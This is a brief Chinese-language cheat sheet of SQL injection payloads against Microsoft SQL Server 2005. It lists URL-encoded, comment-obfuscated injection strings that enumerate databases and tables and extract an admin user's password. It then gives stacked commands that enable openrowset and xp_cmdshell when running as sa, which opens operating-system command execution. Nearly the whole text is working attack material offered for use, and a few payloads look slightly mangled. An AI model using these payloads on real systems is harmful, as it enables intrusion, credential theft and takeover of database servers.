mssql2005注入方法小结

爆库语句，修改红色部分的数字挨个猜出库
//and//(select////1//isnull(cast([name]//as//nvarchar(500)),char(32))%2bchar(124)//from//[master].[dbo].[sysdatabases]//where//dbid//in//(select////1//dbid//from//[master].[dbo].[sysdatabases]//order//by//dbid//desc))%3d0--

爆表语句,somedb部份是所要列的数据库，红色数字1累加
//and//(select////1//cast(name//as//varchar(200))//from//(select////1//name//from//somedb.sys.all_objects//where//type%3dchar(85)//order//by//name)//t//order//by//name//desc)%3d0--

爆字段语句，爆表admin里user='icerover'的密码段
//And//(Select//Top//1//isNull(cast([password]//as//varchar(2000)),char(32))%2bchar(124)//From//(Select//Top//1//[password]//From//[somedb]..[admin]//Where//user='icerover'//Order//by//[password])//T//Order//by//[password]Desc)%3d0--

mssql2005默认没有开xp_cmdshell的，openrowset也不能用
如果是sa权限，可以这样来开启

开启openrowset
EXEC//sp_configure//'show//advanced//options',//1;RECONFIGURE;--
EXEC//sp_configure//'Ad//Hoc//Distributed//Queries',//1;RECONFIGURE;--

开启xp_cmdshell
EXEC//sp_configure//'Ad//Hoc//Distributed//Queries',1;RECONFIGURE;--
EXEC//sp_configure//'show//advanced//options',1;RECONFIGURE;EXEC//sp_configure//'xp_cmdshell',1;RECONFIGURE;--